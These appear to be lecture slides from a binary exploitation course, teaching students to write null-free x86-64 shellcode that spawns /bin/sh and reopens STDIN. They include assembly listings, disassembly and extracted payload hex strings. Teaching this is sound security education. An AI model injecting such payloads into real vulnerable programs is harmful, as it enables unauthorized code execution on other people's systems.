CS 395: Binary Exploitation in Linux

Week 2: Shellcoding

What is Shellcoding?

- Normally, when we exploit a program, we want to be able to execute whatever code that we want.
- Usually, our goal as hackers is to get some kind of shell prompt that allows us to type in commands.
- However, most vulnerable programs won't have a function that executes system("/bin/sh") for us.
- For this reason, it is necessary for us to write our own code in assembly. The assembled code is known as our "shellcode" or "payload."
- We will then take our shellcode and "inject" it into a vulnerable program via buffer overflow next week.
- The shellcode will be executed after it is injected, thereby allowing us to execute whatever code we want.

System Calls

- x86-64 assembly allows us to make different system calls.
- Whenever the OS sees a syscall being executed, it will issue a system interrupt, and the kernel will take control.
- A list of system calls can be found here: http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
- We are mostly concerned with calling execve("/bin/sh", NULL, NULL), which will open up a shell
- Every single programming language uses syscalls "in the background" without you even knowing it

%rax	System call	%rdi	%rsi	%rdx
59	sys_execve	const char *filename	const char *const argv[]	const char *const envp[]

Very Basic Shellcode

```
┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ cat basic_shell.asm
section .text ; Text section for code
global _start ; Begins execution at _start
_start:

mov rax, 59 ; Syscall for execve
mov rbx, 0 ; Sets RBX to NULL
push rbx ; Pushes a string terminator onto the stack
mov rbx, 0×68732f6e69622f ; Moves "/bin/sh" (written in ASCII) to RBX
push rbx ; Push "/bin/sh" onto the stack
mov rdi, rsp ; Get a pointer to "/bin/sh" in RDI
mov rsi, 0 ; Sets RSI to NULL
mov rdx, 0 ; Sets RDX to NULL
syscall ; Does the actual system interrupt
```

Assembling NASM Assembly

- Write your code in a file ending in .asm
- Assemble your program using “nasm -f elf64 -o file.o file.asm”
  - Replace “file” with the name of your file
  - This will output an objective file, which contains the compiled code.
- To link your program and obtain an executable, use “ld -o file file.o”

Assembling NASM Assembly (Cont)

```
┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ nasm -f elf64 -o basic_shell.o basic_shell.asm

┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ ld -o basic_shell basic_shell.o

┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ ./basic_shell
$ ls
basic_shell  basic_shell.asm  basic_shell.o
$ whoami
cs395
$ echo "I have a shell!"
I have a shell!
$ exit
```

Shellcode Object Dump

```
┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ objdump -D basic_shell -M intel

basic_shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       b8 3b 00 00 00          mov    eax,0x3b
  401005:       bb 00 00 00 00          mov    ebx,0x0
  40100a:       53                      push   rbx
  40100b:       48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f6e69622f
  401012:       73 68 00
  401015:       53                      push   rbx
  401016:       48 89 e7                mov    rdi,rsp
  401019:       be 00 00 00 00          mov    esi,0x0
  40101e:       ba 00 00 00 00          mov    edx,0x0
  401023:       0f 05                   syscall
```

Obtaining Shellcode Bytes

- For 64-bit programs: for i in $(objdump -m i386:x86-64 -D basic_shell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
  - If that didn't work, try this: for i in $(objdump -m i386:x86-64 -D basic_shell |grep "^ " |cut -f2); do printf $i; done; echo
- For 32-bit programs: for i in $(objdump -d [program] |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

```
┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ for i in $(objdump -m i386:x86-64 -D basic_shell |grep "^ " |cut -f2); do printf $i; done; echo
b83b000000bb000000005348bb2f62696e2f736800534889e7be00000000ba000000000f05
```

Problems

- It’s good that the shellcode works, but we wouldn’t be able to use this basic code as a payload in an actual exploit.
- If we try to inject the shellcode into any typical C program, then the NULL bytes will be interpreted as string terminators, thereby cutting off the rest of the shellcode.
- These NULL bytes are a badchar in this example.
  - Bad characters are what we call hex values that should not appear in our shellcode.
  - NULLs may not be the only bad character; they are just the most common. You could also have other badchars as well.
  - For example, if a networking application uses 0x59 to indicate the end of a message, then 0x59 would also be considered a badchar.

Who's Causing the NULLs?

- Doing MOV commands with zeros in the input will lead to zeros in the shellcode.
  - Instead of doing "mov reg, 0" in our shellcode, we should do "xor reg, reg"
- Doing MOV commands without enough "space" in the input will automatically append zeros at the end.
  - To get around this, just do "xor reg, reg" to make it zero, then move the amount that you want using a smaller register (i.e. use al instead of rax).
  - We can also MOV the higher end bits into a smaller register, shift the register left, and MOV the lower end bits into the smaller register.

Some Better Shellcode

```
┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ cat better_shell.asm
section .text ; Text section for code
global _start ; Begins execution at _start
_start:

; Get 59 in RAX
xor rax, rax ; Clear the RAX register
mov al, 59 ; Syscall for execve

; Push a string terminator onto the stack
xor rbx, rbx ; Sets RBX to NULL
push rbx ; Pushes a NULL byte onto the stack

; Push /bin/sh onto the stack, and get a pointer to it in RDI
mov ebx, 0×68732f6e ; Moves "n/sh" (written backwards in ASCII) into lower-end bits of RBX
shl rbx, 16 ; Pushes "n/sh" to the left to make more room for 2 more bytes in RBX
mov bx, 0×6962 ; Move "bi" into lower-end bits of RBX. RBX is now equal to "bin/sh" written backwards
shl rbx, 16 ; Makes 2 extra bytes of room in RBX
mov bh, 0×2f ; "Moves /" into RBX. RBX is now equal to "\x00/bin/sh" written backwards
             ; Note that we are moving 0×2f into bh, not bl. So there is a NULL byte at the beginning
push rbx ; Push the string onto the stack
mov rdi, rsp ; Get a pointer to the string "\x00/bin/sh" in RDI
add rdi, 1 ; Add one to RDI, which will get rid of the NULL byte at the beginning.
           ; RDI now points to a string that equals "/bin/sh"

; Make these values NULL
xor rsi, rsi
xor rdx, rdx

; Call execve()
syscall
```

Better Shellcode Object Dump

```
┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ for i in $(objdump -m i386:x86-64 -D better_shell |grep "^ " |cut -f2); do printf $i; done; echo

4831c0b03b4831db53bb6e2f736848c1e31066bb626948c1e310b72f534889e74883c7014831f64831d20f05

┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ objdump -D better_shell -M intel

better_shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 c0                xor    rax,rax
  401003:       b0 3b                   mov    al,0x3b
  401005:       48 31 db                xor    rbx,rbx
  401008:       53                      push   rbx
  401009:       bb 6e 2f 73 68          mov    ebx,0x68732f6e
  40100e:       48 c1 e3 10             shl    rbx,0x10
  401012:       66 bb 62 69             mov    bx,0x6962
  401016:       48 c1 e3 10             shl    rbx,0x10
  40101a:       b7 2f                   mov    bh,0x2f
  40101c:       53                      push   rbx
  40101d:       48 89 e7                mov    rdi,rsp
  401020:       48 83 c7 01             add    rdi,0x1
  401024:       48 31 f6                xor    rsi,rsi
  401027:       48 31 d2                xor    rdx,rdx
  40102a:       0f 05                   syscall
```

Manipulating STDIN

- Whenever you use the input redirection command (<) in a shell, it changes the value of STDIN to another file.
- We would like to use the input redirection command later because it makes handling user input easier (especially when you want to type hex input into GDB)
- If we use the input redirection command on a vulnerable program, when we do execve(“/bin/sh”, NULL, NULL), it may try reading input from the file instead of reading our keyboard input.
- We need to write some extra assembly in order to close whatever the current input file is and reopen STDIN to read the keyboard input.

Syscalls for Manipulating STDIN

- We need to first call close(STDIN) to close whatever file is currently in STDIN.
- Then we need to call open("/dev/tty", O_RDWR | ...) to open keyboard input for STDIN.
- "/dev/tty" is an alias for the device that handles STDIN.
- We will open it for reading and writing

%rax	System call	%rdi	%rsi	%rdx
2	sys_open	const char *filename	int flags	int mode
3	sys_close	unsigned int fd		

Closing STDIN

```
; Close STDIN
xor rax, rax ; Clears the RAX register
xor rdi, rdi ; Zero represents STDIN
mov al, 3 ; Syscall number for close()
syscall ; Calls close(0)
```

Opening “/dev/tty”

```
; Opening "/dev/tty"
push rax ; Push a string terminator onto the stack
mov rdi, 0x7974742f7665642f ; Move "/dev/tty" (written backwards in ASCII) into RDI.
                            ; We can move this all at once because the string is exactly 8 bytes long
push rdi ; Push the string "/dev/tty" onto the stack.
push rsp ; Push a pointer to the string onto the stack.
pop rdi ; RDI now has a pointer to the string "/dev/tty"
        ; These last two lines are equivalent to doing "mov rdi, rsp"
push rax ; Push a NULL byte onto the stack
pop rsi ; Make RSI NULL
        ; These last two lines are equivalent to doing "mov rsi, 0"
mov si, 0x2702 ; Flag for O_RDWR
mov al, 0x2 ; Syscall for sys_open
syscall ; calls sys_open("/dev/tty", O_RDWR)
```

Final Shellcode

```
┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ objdump -D best_shell -M intel

best_shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 c0                xor    rax,rax
  401003:       48 31 ff                xor    rdi,rdi
  401006:       b0 03                   mov    al,0x3
  401008:       0f 05                   syscall
  40100a:       50                      push   rax
  40100b:       48 bf 2f 64 65 76 2f    movabs rdi,0x7974742f7665642f
  401012:       74 74 79
  401015:       57                      push   rdi
  401016:       54                      push   rsp
  401017:       5f                      pop    rdi
  401018:       50                      push   rax
  401019:       5e                      pop    rsi
  40101a:       66 be 02 27             mov    si,0x2702
  40101e:       b0 02                   mov    al,0x2
  401020:       0f 05                   syscall
  401022:       48 31 c0                xor    rax,rax
  401025:       b0 3b                   mov    al,0x3b
  401027:       48 31 db                xor    rbx,rbx
  40102a:       53                      push   rbx
  40102b:       bb 6e 2f 73 68          mov    ebx,0x68732f6e
  401030:       48 c1 e3 10             shl    rbx,0x10
  401034:       66 bb 62 69             mov    bx,0x6962
  401038:       48 c1 e3 10             shl    rbx,0x10
  40103c:       b7 2f                   mov    bh,0x2f
  40103e:       53                      push   rbx
  40103f:       48 89 e7                mov    rdi,rsp
  401042:       48 83 c7 01             add    rdi,0x1
  401046:       48 31 f6                xor    rsi,rsi
  401049:       48 31 d2                xor    rdx,rdx
  40104c:       0f 05                   syscall

┌──(cs395㉿kali)-[~/Desktop/CS395/week2]
└─$ for i in $(objdump -m i386:x86-64 -D best_shell |grep "^ " |cut -f2); do printf $i; done; echo

4831c04831ffb0030f055048bf2f6465762f74747957545f505e66be0227b0020f054831c0b03b4831db53bb6e2f736848c1e31066bb626948c1e310b72f534889e74883c7014831f64831d20f0
5
```

Homework

- No writeups are due this week.
- Create shellcode for executing /bin/sh
  - Do not skip this! We will be using this shellcode for the remainder of this course!
- Read Smashing The Stack For Fun And Profit .